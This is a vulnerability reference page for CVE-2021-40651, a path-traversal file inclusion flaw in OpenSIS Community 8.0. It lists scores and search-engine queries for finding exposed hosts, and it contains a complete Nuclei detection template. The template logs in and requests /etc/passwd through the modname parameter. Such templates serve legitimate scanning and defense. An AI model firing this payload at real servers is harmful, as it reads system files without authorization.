SecurityContext

CVE-2021-40651: OS4Ed OpenSIS Community 8.0 - Local File Inclusion

Classification

  • Cwe: CWE-22
  • Cvss score: 6.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
  • Epss score: 0.17945
  • Epss percentile: 0.97255
  • Cpe: cpe:2.3:a:os4ed:opensis:8.0:*:*:*:community:*:*:*

Metadata

  • Fofa-query: title="opensis"
  • Google-query: intitle:"opensis"
  • Max-request: 2
  • Product: opensis
  • Shodan-query: title:"openSIS", http.title:"opensis"
  • Vendor: os4ed

Products

ProductIndexedUrl
os4ed:opensisyes/v1/products/os4ed/opensis

Labels

  • Name: OS4Ed OpenSIS - Local File Inclusion
  • Impact: Attackers can disclose sensitive files from the server's filesystem, leading to information disclosure.
  • Remediation: Apply input validation to sanitize 'modname' parameter and update to the latest version if available.
  • Vulnerability type: file_inclusion
  • Vulnerability impact: information_disclosure, file_system_read
  • Requirement type: logged_in
  • Requirements: Attacker needs access to the application
  • Labels source: projectdiscovery
  • From cve: CVE-2021-40651

```yaml

id: CVE-2021-40651

info:

name: OS4Ed OpenSIS Community 8.0 - Local File Inclusion

author: ctflearner

severity: medium

description: |

OS4Ed OpenSIS Community 8.0 is vulnerable to a local file inclusion vulnerability in Modules.php (modname parameter), which can disclose arbitrary file from the server's filesystem as long as the application has access to the file.

impact: |

Authenticated attackers can read arbitrary files from the server including /etc/passwd via path traversal in the modname parameter.

remediation: |

Upgrade to OpenSIS Community version 8.1 or later.

reference:

- https://www.exploit-db.com/exploits/50259

- https://github.com/MiSERYYYYY/Vulnerability-Reports-and-Disclosures/blob/main/OpenSIS-Community-8.0.md

- https://www.youtube.com/watch?v=wFwlbXANRCo

- https://nvd.nist.gov/vuln/detail/CVE-2021-40651

- https://github.com/ARPSyndicate/cvemon

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

cvss-score: 6.5

cve-id: CVE-2021-40651

cwe-id: CWE-22

epss-score: 0.17945

epss-percentile: 0.97255

cpe: cpe:2.3:a:os4ed:opensis:8.0:*:*:*:community:*:*:*

metadata:

max-request: 2

vendor: os4ed

product: opensis

shodan-query:

- "title:\"openSIS\""

- http.title:"opensis"

fofa-query: title="opensis"

google-query: intitle:"opensis"

tags: cve,cve2021,lfi,os4ed,opensis,authenticated,vuln

http:

- raw:

- |

POST /index.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

USERNAME={{username}}&PASSWORD={{password}}&language=en&log=

- |

GET /Modules.php?modname=miscellaneous%2fPortal.php..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&failed_login= HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- "regex('root:.*:0:0:', body)"

- 'contains(body_1, "openSIS")'

- "status_code == 200"

condition: and

digest: 4a0a0047304502204078cf4a0f3786e11a124935af1317267185fc2321865b1f14b189ba0e5dcf91022100cd63af7f4e020a2e485ced294c8bcaa94561bac3bf36f4b7ca7a1bb3da4b82a2:922c64590222798bb761d5b6d8e72950

```